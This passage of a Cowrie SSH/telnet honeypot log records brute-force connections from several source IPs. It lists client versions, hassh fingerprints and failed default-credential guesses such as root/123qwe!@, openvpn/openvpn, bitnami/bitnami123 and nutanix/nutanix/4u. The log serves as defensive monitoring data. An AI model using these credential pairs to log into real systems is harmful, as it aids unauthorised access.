rt-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:46.511123Z","src_ip":"165.154.137.186","session":"c8278fdb2725","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:46.932391Z","src_ip":"165.154.137.186","session":"c021e6ac9bb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:47.337961Z","src_ip":"165.154.137.186","session":"c8278fdb2725","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:48.189457Z","src_ip":"165.154.137.186","session":"c021e6ac9bb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:48.591669Z","src_ip":"165.154.137.186","session":"c8278fdb2725","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60576,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8b6b1eeafad","protocol":"telnet","message":"New connection: 172.81.62.90:60576 (159.203.135.109:23) [session: a8b6b1eeafad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:54:07.844435Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":53664,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7789542d9b2","protocol":"ssh","message":"New connection: 38.93.206.2:53664 (10.17.0.5:22) [session: f7789542d9b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:54:24.494361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:54:24.498628Z","src_ip":"38.93.206.2","session":"f7789542d9b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:54:24.549024Z","src_ip":"38.93.206.2","session":"f7789542d9b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"26011980","message":"login attempt [root/26011980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:54:24.699606Z","src_ip":"38.93.206.2","session":"f7789542d9b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:54:25.754207Z","src_ip":"38.93.206.2","session":"f7789542d9b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":54002,"dst_ip":"159.203.135.109","dst_port":22,"session":"29f48042358e","protocol":"ssh","message":"New connection: 103.176.20.57:54002 (159.203.135.109:22) [session: 29f48042358e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:54:26.861342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:54:26.865545Z","src_ip":"103.176.20.57","session":"29f48042358e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:54:27.122985Z","src_ip":"103.176.20.57","session":"29f48042358e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"28111992","message":"login attempt [root/28111992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:54:27.889955Z","src_ip":"103.176.20.57","session":"29f48042358e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:54:29.146845Z","src_ip":"103.176.20.57","session":"29f48042358e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.740150451660156,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:54:45.584427Z","src_ip":"172.81.62.90","session":"a8b6b1eeafad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":57660,"dst_ip":"10.17.0.5","dst_port":22,"session":"b138c9cc5a43","protocol":"ssh","message":"New connection: 103.216.145.2:57660 (10.17.0.5:22) [session: b138c9cc5a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:54:52.052807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:54:52.057086Z","src_ip":"103.216.145.2","session":"b138c9cc5a43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:54:52.250806Z","src_ip":"103.216.145.2","session":"b138c9cc5a43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"harshit","password":"harshit","message":"login attempt [harshit/harshit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:54:53.059183Z","src_ip":"103.216.145.2","session":"b138c9cc5a43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:54:54.258427Z","src_ip":"103.216.145.2","session":"b138c9cc5a43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":56742,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce72610a50c7","protocol":"ssh","message":"New connection: 170.80.65.140:56742 (10.17.0.5:22) [session: ce72610a50c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:54:56.184445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:54:56.187772Z","src_ip":"170.80.65.140","session":"ce72610a50c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:54:56.310720Z","src_ip":"170.80.65.140","session":"ce72610a50c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"homeassistant","password":"123","message":"login attempt [homeassistant/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:54:56.838181Z","src_ip":"170.80.65.140","session":"ce72610a50c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:54:57.964563Z","src_ip":"170.80.65.140","session":"ce72610a50c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":48826,"dst_ip":"10.17.0.5","dst_port":22,"session":"671cabcc4494","protocol":"ssh","message":"New connection: 38.148.249.2:48826 (10.17.0.5:22) [session: 671cabcc4494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:05.506602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:05.512331Z","src_ip":"38.148.249.2","session":"671cabcc4494","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:05.583833Z","src_ip":"38.148.249.2","session":"671cabcc4494","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":39846,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3928f7e562c","protocol":"ssh","message":"New connection: 165.154.137.186:39846 (10.17.0.5:22) [session: c3928f7e562c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:05.631018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:05.635653Z","src_ip":"165.154.137.186","session":"c3928f7e562c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitnami","password":"bitnami123","message":"login attempt [bitnami/bitnami123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:05.904819Z","src_ip":"38.148.249.2","session":"671cabcc4494","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:05.918502Z","src_ip":"165.154.137.186","session":"c3928f7e562c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:06.742400Z","src_ip":"165.154.137.186","session":"c3928f7e562c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:06.982638Z","src_ip":"38.148.249.2","session":"671cabcc4494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:08.009830Z","src_ip":"165.154.137.186","session":"c3928f7e562c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":55284,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec3488eb9be3","protocol":"ssh","message":"New connection: 165.154.137.186:55284 (10.17.0.5:22) [session: ec3488eb9be3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:13.121295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:13.125442Z","src_ip":"165.154.137.186","session":"ec3488eb9be3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":49490,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c245811a139","protocol":"ssh","message":"New connection: 165.154.137.186:49490 (10.17.0.5:22) [session: 9c245811a139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:13.197854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:13.202329Z","src_ip":"165.154.137.186","session":"9c245811a139","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:13.415210Z","src_ip":"165.154.137.186","session":"ec3488eb9be3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:13.514449Z","src_ip":"165.154.137.186","session":"9c245811a139","protocol":"ssh"}
